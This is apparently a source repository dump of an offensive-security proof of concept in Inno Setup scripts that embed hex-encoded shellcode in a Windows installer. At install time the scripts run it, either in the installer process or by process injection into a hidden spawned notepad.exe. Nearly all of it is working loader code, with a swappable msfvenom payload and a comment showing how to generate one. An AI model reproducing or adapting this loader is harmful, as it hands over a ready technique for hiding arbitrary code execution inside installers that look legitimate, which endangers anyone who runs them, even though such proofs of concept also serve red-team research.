__Pointer__; 156 | dwStackSize : Cardinal; 157 | lpStartAddress : TReference; // Ptr 158 | lpParameter : __Pointer__; 159 | dwCreationFlags : DWORD; 160 | var lpThreadid : DWORD 161 | ) : THandle; external 'CreateRemoteThread@kernel32.dll stdcall'; 162 | 163 | { WinAPI Constants } 164 | 165 | const MEM_COMMIT = $00001000; 166 | MEM_RESERVE = $00002000; 167 | PAGE_EXECUTE_READWRITE = $00000040; 168 | PAGE_READWRITE = $00000004; 169 | MEM_RELEASE = $00008000; 170 | STARTF_USESHOWWINDOW = $00000001; 171 | 172 | 173 | { Variables } 174 | 175 | var pNil : PAnsiChar; // Trick to defined missing "nil/null" instruction on InnoSetup: InnoSetup initialize variable to NULL. 176 | PAYLOAD : TPayloadArray; // Our shellcode 177 | 178 | 179 | { _.GetMem } 180 | 181 | function GetMem(const ASize : Cardinal; const AExecute : Boolean) : TReference; 182 | var AFlags : DWORD; 183 | ARet : Cardinal; 184 | begin 185 | if AExecute then 186 | AFlags := PAGE_EXECUTE_READWRITE 187 | else 188 | AFlags := PAGE_READWRITE; 189 | 190 | ARet := VirtualAlloc(pNil, ASize, MEM_COMMIT or MEM_RESERVE, AFlags); 191 | 192 | if GetLastError() = 0 then 193 | result := ARet 194 | else 195 | result := 0; 196 | end; 197 | 198 | { _.CreateExecutableRemoteMem } 199 | 200 | function CreateExecutableRemoteMem(const ASize : Cardinal; const hProcess : THandle) : TReference; 201 | var ARet : Cardinal; 202 | begin 203 | ARet := VirtualAllocEx( 204 | hProcess, 205 | pNil, 206 | ASize, 207 | MEM_COMMIT or MEM_RESERVE, 208 | PAGE_EXECUTE_READWRITE 209 | ); 210 | 211 | if GetLastError() = 0 then 212 | result := ARet 213 | else 214 | result := 0; 215 | end; 216 | 217 | { _.FreeMem } 218 | 219 | procedure FreeMem(const lpAddress : TReference; const ASize : DWORD); 220 | begin 221 | VirtualFree(lpAddress, ASize, MEM_RELEASE); 222 | end; 223 | 224 | { _.InitializePayload } 225 | 226 | function InitializePayload() : Boolean; 227 | var I, n : Integer; 228 | APayloadStr : String; 229 | APayloadLen : Cardinal; 230 | AIndex : Integer; 231 | begin 232 | result := False; 233 | /// 234 | 235 | APayloadStr := '{#Payload}'; 236 | APayloadLen := Length(APayloadStr); 237 | 238 | if APayloadLen mod 2 <> 0 then 239 | Exit; 240 | 241 | SetLength(PAYLOAD, (APayloadLen div 2)); 242 | 243 | I := 0; 244 | while True do begin 245 | if I = 0 then 246 | AIndex := 0 247 | else 248 | AIndex := I + 1; 249 | 250 | PAYLOAD[I div 2] := StrToInt('$' + Copy(APayloadStr, AIndex, 2)); 251 | 252 | I := I + 2; 253 | 254 | if I = APayloadLen then 255 | break; 256 | end; 257 | 258 | result := Length(PAYLOAD) > 0; 259 | end; 260 | 261 | { _.ExecLocalShellcode } 262 | 263 | procedure ExecLocalShellcode(); 264 | var AThreadId : DWORD; 265 | AThreadHandle : THandle; 266 | AMemAddr : TReference; 267 | begin 268 | AMemAddr := GetMem(Length(PAYLOAD), True); 269 | if (AMemAddr = 0) then 270 | Exit; 271 | 272 | RtlMoveMemory(AMemAddr, PAYLOAD, Length(PAYLOAD)); 273 | 274 | AThreadHandle := CreateThread(pNil, 0, AMemAddr, pNil, 0, AThreadId); 275 | end; 276 | 277 | { _.ExecRemoteShellcode } 278 | 279 | procedure ExecRemoteShellcode(); 280 | var AStartupInfo : TStartupInfoA; 281 | AProcessInfo : TProcessInformation; 282 | AMemAddr : TReference; 283 | ABytesWritten : Cardinal; 284 | AThreadHandle : THandle; 285 | AThreadId : DWORD; 286 | begin 287 | AStartupInfo.cb := SizeOf(AStartupInfo); 288 | 289 | // Unfortunately, I did not found any API / method to nil a memory region 290 | // (Ex: FillChar, ZeroMemory, Memset etc...) 291 | // 292 | // TODO: Create my own "memset()". 293 | AStartupInfo.lpReserved := pNil; 294 | AStartupInfo.lpDesktop := pNil; 295 | AStartupInfo.lpTitle := pNil; 296 | AStartupInfo.dwX := 0; 297 | AStartupInfo.dwY := 0; 298 | AStartupInfo.dwXSize := 0; 299 | AStartupInfo.dwYSize := 0; 300 | AStartupInfo.dwXCountChars := 0; 301 | AStartupInfo.dwYCountChars := 0; 302 | AStartupInfo.dwFillAttribute := 0; 303 | AStartupInfo.dwFlags := STARTF_USESHOWWINDOW; 304 | AStartupInfo.wShowWindow := SW_HIDE; 305 | AStartupInfo.cbReserved2 := 0; 306 | AStartupInfo.lpReserved2 := pNil; 307 | AStartupInfo.hStdInput := 0; 308 | AStartupInfo.hStdOutput := 0; 309 | AStartupInfo.hStdError := 0; 310 | 311 | if not CreateProcessA( 312 | pNil, 313 | '{#SpawnProcessName}', 314 | pNil, 315 | pNil, 316 | False, 317 | 0, 318 | pNil, 319 | pNil, 320 | AStartupInfo, 321 | AProcessInfo 322 | ) then 323 | Exit; 324 | 325 | AMemAddr := CreateExecutableRemoteMem(Length(PAYLOAD), AProcessInfo.hProcess); 326 | 327 | if not WriteProcessMemory( 328 | AProcessInfo.hProcess, 329 | AMemAddr, 330 | PAYLOAD, 331 | Length(PAYLOAD), 332 | ABytesWritten 333 | ) then 334 | Exit; 335 | 336 | AThreadHandle := CreateRemoteThread( 337 | AProcessInfo.hProcess, 338 | pNil, 339 | 0, // Auto 340 | AMemAddr, // Payload location 341 | pNil, 342 | 0, // Run now 343 | AThreadId // __Out__ 344 | ); 345 | 346 | if AThreadHandle = 0 then 347 | Exit; 348 | end; 349 | 350 | { _.CurStepChanged } 351 | 352 | procedure CurStepChanged(CurStep: TSetupStep); 353 | begin 354 | case CurStep of 355 | ssInstall : begin 356 | if not InitializePayload() then 357 | Exit; 358 | 359 | if {#SpawnNewProcess} = 1 then 360 | ExecRemoteShellcode() 361 | else 362 | ExecLocalShellcode(); 363 | end; 364 | end; 365 | end; 366 | -------------------------------------------------------------------------------- /inno-shellcode.iss: -------------------------------------------------------------------------------- 1 | ; -------------------------------------------------------------------------------------- 2 | ; PoC Author: Jean-Pierre LESUEUR (@DarkCoderSc) - 3 | ; https://www.phrozen.io/ - 4 | ; https://www.github.com/darkcodersc - 5 | ; jplesueur@phrozen.io - 6 | ; - 7 | ; Category: Offsec PoC - 8 | ; Description: - 9 | ; Embedd shellcode inside InnoSetup for execution during setup installation. - 10 | ; The shellcode is executed using InnoSetup Pascal Code Engine through Windows API. - 11 | ; - 12 | ; REL: July 2021 - 13 | ; - 14 | ; TODO: - 15 | ; - [EASY] Support x86-64 InnoSetup Installers. - 16 | ; - [EASY] Run PE (Process Hollowing). - 17 | ; -------------------------------------------------------------------------------------- 18 | 19 | ; Configuration 20 | #define SpawnNewProcess 0 ; 1 = Yes; 0 = No, payload is hosted and executed in current process. 21 | #define SpawnProcessName "notepad.exe" ; Used if "SpawnNewProcess" is set to "1". 22 | #define verbose 1 ; 1 = Yes; 0 = No. 23 | 24 | ; msfvenom -p windows/exec -a x86 --platform Windows CMD=calc.exe EXITFUNC=thread -f hex 25 | ; If SpawnNewProcess is set to "1". It is recommended to use the EXITFUNC with ExitProcess instead of Thread. 26 | #define Payload "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbe01d2a0a68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500" 27 | 28 | ; BEGIN: Do whatever you want your setup to do. 29 | ; Basically, this example is just a basic setup template, in addition of executing a shellcode 30 | ; Your setup can do regular setup tasks like installing software. 31 | [Setup] 32 | AppId={{D7EAA450-9906-4D8C-9E74-ED44DF692880} 33 | AppName=InnoShellcode Example 34 | AppVersion=1.5 35 | AppPublisher=DarkCoderSc 36 | AppPublisherURL=https://www.twitter.com/DarkCoderSc 37 | AppSupportURL=https://www.twitter.com/DarkCoderSc 38 | AppUpdatesURL=https://www.twitter.com/DarkCoderSc 39 | CreateAppDir=no 40 | PrivilegesRequired=lowest 41 | OutputBaseFilename=innomal 42 | Compression=lzma 43 | SolidCompression=yes 44 | WizardStyle=modern 45 | Uninstallable=no 46 | 47 | [Languages] 48 | Name: "english"; MessagesFile: "compiler:Default.isl" 49 | 50 | ; END 51 | 52 | [Code] 53 | 54 | type 55 | { Structures } 56 | 57 | TPayloadArray = array of byte; 58 | __Pointer__ = PAnsiChar; 59 | TReference = Cardinal; 60 | 61 | { WinAPI Structures } 62 | 63 | TStartupInfoA = record 64 | cb : DWORD; 65 | lpReserved : __Pointer__; 66 | lpDesktop : __Pointer__; 67 | lpTitle : __Pointer__; 68 | dwX : DWORD; 69 | dwY : DWORD; 70 | dwXSize : DWORD; 71 | dwYSize : DWORD; 72 | dwXCountChars : DWORD; 73 | dwYCountChars : DWORD; 74 | dwFillAttribute : DWORD; 75 | dwFlags : DWORD; 76 | wShowWindow : Word; 77 | cbReserved2 : Word; 78 | lpReserved2 : __Pointer__; 79 | hStdInput : THandle; 80 | hStdOutput : THandle; 81 | hStdError : THandle; 82 | end; 83 | 84 | TProcessInformation = record 85 | hProcess : THandle; 86 | hThread : THandle; 87 | dwProcessId : DWORD; 88 | dwThreadId : DWORD; 89 | end; 90 | 91 | { WinAPI Definitions } 92 | 93 | // Alternatively we can use VirtualAllocEx with current process handle. 94 | function VirtualAlloc( 95 | lpAddress : __Pointer__; 96 | dwSize : Cardinal; 97 | flAllocationType, 98 | flProtect : DWORD 99 | ) : TReference; external 'VirtualAlloc@kernel32.dll stdcall'; 100 | 101 | function VirtualAllocEx( 102 | hProcess : THandle; 103 | lpAddress : __Pointer__; 104 | dwSize : Cardinal; 105 | flAllocationType, 106 | flProtect : DWORD 107 | ) : TReference; external 'VirtualAllocEx@kernel32.dll stdcall'; 108 | 109 | function VirtualFree( 110 | lpAddress : TReference; 111 | dwSize : Cardinal; 112 | dwFreeType : DWORD 113 | ) : BOOL; external 'VirtualFree@kernel32.dll stdcall'; 114 | 115 | function GetLastError() : DWORD; external 'GetLastError@kernel32.dll stdcall'; 116 | 117 | function CreateThread( 118 | lpThreadAttributes : __Pointer__; 119 | dwStackSize : Cardinal; 120 | lpStartAddress : TReference; 121 | lpParameter : __Pointer__; 122 | dwCreationFlags : DWORD; 123 | var lpThreadId : DWORD 124 | ) : THANDLE; external 'CreateThread@kernel32.dll stdcall'; 125 | 126 | procedure RtlMoveMemory( 127 | Dest : TReference; 128 | Source : TPayloadArray; 129 | Len : Integer 130 | ); external 'RtlMoveMemory@kernel32.dll stdcall'; 131 | 132 | procedure OutputDebugAddress( 133 | lpAddress : TReference 134 | ); external 'OutputDebugStringA@kernel32.dll stdcall'; 135 | 136 | procedure OutputDebugStringA( 137 | lpOutputString : PAnsiChar 138 | ); external 'OutputDebugStringA@kernel32.dll stdcall'; 139 | 140 | function CryptBinaryToStringA( 141 | lpAddress : TReference; 142 | cbBinary, dwFlags : DWORD; 143 | pszString : TReference; 144 | var pcchString : DWORD 145 | ) : BOOL; external 'CryptBinaryToStringA@crypt32.dll stdcall'; 146 | 147 | function CreateProcessA( 148 | lpApplicationName : PAnsiChar; 149 | lpCommandLine : PAnsiChar; 150 | lpProcessAttributes : __Pointer__; 151 | lpThreadAttributes : __Pointer__; 152 | bInheritHandles : BOOL; 153 | dwCreationFlags : DWORD; 154 | lpEnvironment : PAnsiChar; 155 | lpCurrentDirectory : PAnsiChar; 156 | const lpStartupInfo : TStartupInfoA; 157 | var lpProcessInformation : TProcessInformation 158 | ) : BOOL; external 'CreateProcessA@kernel32.dll stdcall'; 159 | 160 | function WriteProcessMemory( 161 | hProcess : THandle; 162 | lpBaseAddress : TReference; // Ptr 163 | lpBuffer : TPayloadArray; 164 | nSize : Cardinal; 165 | var lpNumberOfBytesWritten : Cardinal 166 | ) : BOOL; external 'WriteProcessMemory@kernel32.dll stdcall'; 167 | 168 | function CreateRemoteThread( 169 | hProcess : THandle; 170 | lpThreadAttributes : __Pointer__; 171 | dwStackSize : Cardinal; 172 | lpStartAddress : TReference; // Ptr 173 | lpParameter : __Pointer__; 174 | dwCreationFlags : DWORD; 175 | var lpThreadid : DWORD 176 | ) : THandle; external 'CreateRemoteThread@kernel32.dll stdcall'; 177 | 178 | { WinAPI Constants } 179 | 180 | const MEM_COMMIT = $00001000; 181 | MEM_RESERVE = $00002000; 182 | PAGE_EXECUTE_READWRITE = $00000040; 183 | PAGE_READWRITE = $00000004; 184 | CRYPT_STRING_HEX = $00000004; 185 | MEM_RELEASE = $00008000; 186 | STARTF_USESHOWWINDOW = $00000001; 187 | 188 | 189 | { Variables } 190 | 191 | var pNil : PAnsiChar; // Trick to defined missing "nil/null" instruction on InnoSetup: InnoSetup initialize variable to NULL. 192 | PAYLOAD : TPayloadArray; // Our shellcode 193 | 194 | 195 | { _.Debug } 196 | 197 | procedure Debug(const AMessage : String); 198 | begin 199 | if {#verbose} = 1 then 200 | OutputDebugStringA(AMessage); 201 | end; 202 | 203 | procedure DebugAddress(const lpAddress : TReference); 204 | begin 205 | if {#verbose} = 1 then 206 | OutputDebugAddress(lpAddress); 207 | end; 208 | 209 | { _.GetMem } 210 | 211 | function GetMem(const ASize : Cardinal; const AExecute : Boolean) : TReference; 212 | var AFlags : DWORD; 213 | ARet : Cardinal; 214 | begin 215 | if AExecute then 216 | AFlags := PAGE_EXECUTE_READWRITE 217 | else 218 | AFlags := PAGE_READWRITE; 219 | 220 | Debug(Format('Create new memory region of %d bytes...', [ASize])); 221 | 222 | ARet := VirtualAlloc(pNil, ASize, MEM_COMMIT or MEM_RESERVE, AFlags); 223 | 224 | if GetLastError() = 0 then begin 225 | Debug(Format('Region successfully created, starting at address: "%d(%x)"', [ 226 | ARet, 227 | ARet 228 | ])); 229 | 230 | result := ARet 231 | end else begin 232 | Debug(Format('Failed to create memory region with last error=[%d].', [GetLastError()])); 233 | 234 | result := 0; 235 | end; 236 | end; 237 | 238 | { _.CreateExecutableRemoteMem } 239 | 240 | function CreateExecutableRemoteMem(const ASize : Cardinal; const hProcess : THandle) : TReference; 241 | var ARet : Cardinal; 242 | begin 243 | Debug(Format('Create new memory region of %d bytes in target process=[%d]...', [ASize, hProcess])); 244 | 245 | ARet := VirtualAllocEx( 246 | hProcess, 247 | pNil, 248 | ASize, 249 | MEM_COMMIT or MEM_RESERVE, 250 | PAGE_EXECUTE_READWRITE 251 | ); 252 | 253 | if GetLastError() = 0 then begin 254 | Debug(Format('Remote region successfully created, starting at address: "%d(%x)"', [ 255 | ARet, 256 | ARet 257 | ])); 258 | 259 | result := ARet; 260 | end else begin 261 | Debug(Format( 262 | 'Failed to create remote memory region (process handle=[%d]) with last error=[%d].', [ 263 | hProcess, 264 | GetLastError() 265 | ]) 266 | ); 267 | 268 | result := 0; 269 | end; 270 | end; 271 | 272 | { _.FreeMem } 273 | 274 | procedure FreeMem(const lpAddress : TReference; const ASize : DWORD); 275 | begin 276 | VirtualFree(lpAddress, ASize, MEM_RELEASE); 277 | end; 278 | 279 | { _.DumpMemory } 280 | 281 | procedure DumpMemory(const lpAddress : TReference; const ASize : DWORD); 282 | var AMemAddr : Cardinal; 283 | AReqSize : DWORD; 284 | begin 285 | CryptBinaryToStringA(lpAddress, ASize, CRYPT_STRING_HEX, 0, AReqSize); 286 | 287 | AMemAddr := GetMem(AReqSize, False); 288 | try 289 | CryptBinaryToStringA(lpAddress, ASize, CRYPT_STRING_HEX, AMemAddr, AReqSize); 290 | 291 | Debug('***'); 292 | Debug(Format('Dump %d bytes from memory starting at address: "%d(%x)":', [ 293 | ASize, 294 | lpAddress, 295 | lpAddress 296 | ]) 297 | ); 298 | 299 | DebugAddress(AMemAddr); 300 | Debug('***'); 301 | finally 302 | FreeMem(lpAddress, ASize); 303 | end; 304 | end; 305 | 306 | { _.InitializePayload } 307 | 308 | function InitializePayload() : Boolean; 309 | var I, n : Integer; 310 | APayloadStr : String; 311 | APayloadLen : Cardinal; 312 | AIndex : Integer; 313 | begin 314 | result := False; 315 | /// 316 | 317 | APayloadStr := '{#Payload}'; 318 | APayloadLen := Length(APayloadStr); 319 | 320 | if APayloadLen mod 2 <> 0 then begin 321 | Debug('Payload must be aligned to two.'); 322 | 323 | Exit; 324 | end; 325 | 326 | Debug(Format('Feed PAYLOAD array (size=[%d]) with hex encoded payload=[%s]', [ 327 | (APayloadLen div 2), 328 | APayloadStr 329 | ] 330 | )); 331 | 332 | SetLength(PAYLOAD, (APayloadLen div 2)); 333 | 334 | I := 0; 335 | while True do begin 336 | if I = 0 then 337 | AIndex := 0 338 | else 339 | AIndex := I + 1; 340 | 341 | PAYLOAD[I div 2] := StrToInt('$' + Copy(APayloadStr, AIndex, 2)); 342 | 343 | I := I + 2; 344 | 345 | if I = APayloadLen then 346 | break; 347 | end; 348 | 349 | result := Length(PAYLOAD) > 0; 350 | end; 351 | 352 | { _.DebugLastError } 353 | 354 | procedure DebugLastError(const AWinAPI : String); 355 | begin 356 | Debug(Format('Call to "%s" failed with last error: %d.', [AWinAPI, GetLastError()])); 357 | end; 358 | 359 | { _.ExecLocalShellcode } 360 | 361 | procedure ExecLocalShellcode(); 362 | var AThreadId : DWORD; 363 | AThreadHandle : THandle; 364 | AMemAddr : TReference; 365 | begin 366 | AMemAddr := GetMem(Length(PAYLOAD), True); 367 | if (AMemAddr = 0) then 368 | Exit; 369 | 370 | Debug('Copy our payload to new memory region...'); 371 | 372 | RtlMoveMemory(AMemAddr, PAYLOAD, Length(PAYLOAD)); 373 | 374 | Debug('Payload successfully copied.'); 375 | 376 | DumpMemory(AMemAddr, Length(PAYLOAD)); 377 | 378 | 379 | Debug('Execute payload in a separate thread...'); 380 | 381 | AThreadHandle := CreateThread(pNil, 0, AMemAddr, pNil, 0, AThreadId); 382 | if (AThreadHandle > 0) or (GetLastError <> 0) then 383 | Debug(Format('Payload successfully executed, ThreadHandle=[%d], ThreadId=[%d].', [AThreadHandle, AThreadId])) 384 | else 385 | Debug('Failed to execute payload.'); 386 | end; 387 | 388 | { _.ExecRemoteShellcode } 389 | 390 | procedure ExecRemoteShellcode(); 391 | var AStartupInfo : TStartupInfoA; 392 | AProcessInfo : TProcessInformation; 393 | AMemAddr : TReference; 394 | ABytesWritten : Cardinal; 395 | AThreadHandle : THandle; 396 | AThreadId : DWORD; 397 | begin 398 | AStartupInfo.cb := SizeOf(AStartupInfo); 399 | 400 | // Unfortunately, I did not found any API / method to nil a memory region 401 | // (Ex: FillChar, ZeroMemory, Memset etc...) 402 | // 403 | // TODO: Create my own "memset()". 404 | AStartupInfo.lpReserved := pNil; 405 | AStartupInfo.lpDesktop := pNil; 406 | AStartupInfo.lpTitle := pNil; 407 | AStartupInfo.dwX := 0; 408 | AStartupInfo.dwY := 0; 409 | AStartupInfo.dwXSize := 0; 410 | AStartupInfo.dwYSize := 0; 411 | AStartupInfo.dwXCountChars := 0; 412 | AStartupInfo.dwYCountChars := 0; 413 | AStartupInfo.dwFillAttribute := 0; 414 | AStartupInfo.dwFlags := STARTF_USESHOWWINDOW; 415 | AStartupInfo.wShowWindow := SW_HIDE; 416 | AStartupInfo.cbReserved2 := 0; 417 | AStartupInfo.lpReserved2 := pNil; 418 | AStartupInfo.hStdInput := 0; 419 | AStartupInfo.hStdOutput := 0; 420 | AStartupInfo.hStdError := 0; 421 | 422 | Debug(Format('Spawn new process=[%s] to host our payload.', ['{#SpawnProcessName}'])); 423 | 424 | if not CreateProcessA( 425 | pNil, 426 | '{#SpawnProcessName}', 427 | pNil, 428 | pNil, 429 | False, 430 | 0, 431 | pNil, 432 | pNil, 433 | AStartupInfo, 434 | AProcessInfo 435 | ) then begin 436 | DebugLastError('CreateProcessA'); 437 | 438 | Exit; 439 | end; 440 | 441 | Debug(Format('Process successfully spawned with id=[%d], handle=[%d].', [ 442 | AProcessInfo.dwProcessId, 443 | AProcessInfo.hProcess 444 | ])); 445 | 446 | AMemAddr := CreateExecutableRemoteMem(Length(PAYLOAD), AProcessInfo.hProcess); 447 | 448 | if not WriteProcessMemory( 449 | AProcessInfo.hProcess, 450 | AMemAddr, 451 | PAYLOAD, 452 | Length(PAYLOAD), 453 | ABytesWritten 454 | ) then begin 455 | DebugLastError('WriteProcessMemory'); 456 | 457 | Exit; 458 | end; 459 | 460 | Debug(Format('%d bytes written to process=[%d].', [ABytesWritten, AProcessInfo.hProcess])); 461 | 462 | Debug('Create new remote thread at payload location for execution...'); 463 | 464 | AThreadHandle := CreateRemoteThread( 465 | AProcessInfo.hProcess, 466 | pNil, 467 | 0, // Auto 468 | AMemAddr, // Payload location 469 | pNil, 470 | 0, // Run now 471 | AThreadId // __Out__ 472 | ); 473 | 474 | if AThreadHandle = 0 then begin 475 | DebugLastError('CreateRemoteThread'); 476 | 477 | Exit; 478 | end; 479 | 480 | Debug(Format('Payload successfully executed from process_id=[%d], thread_id=[%d]/hThread=[%d]', [ 481 | AProcessInfo.dwProcessId, 482 | AThreadId, 483 | AThreadHandle 484 | ])); 485 | end; 486 | 487 | { _.CurStepChanged } 488 | 489 | procedure CurStepChanged(CurStep: TSetupStep); 490 | begin 491 | case CurStep of 492 | ssInstall : begin 493 | Debug('Initialize Payload...'); 494 | if not InitializePayload() then 495 | Exit; 496 | 497 | if {#SpawnNewProcess} = 1 then 498 | ExecRemoteShellcode() 499 | else 500 | ExecLocalShellcode(); 501 | end; 502 | end; 503 | end; 504 | --------------------------------------------------------------------------------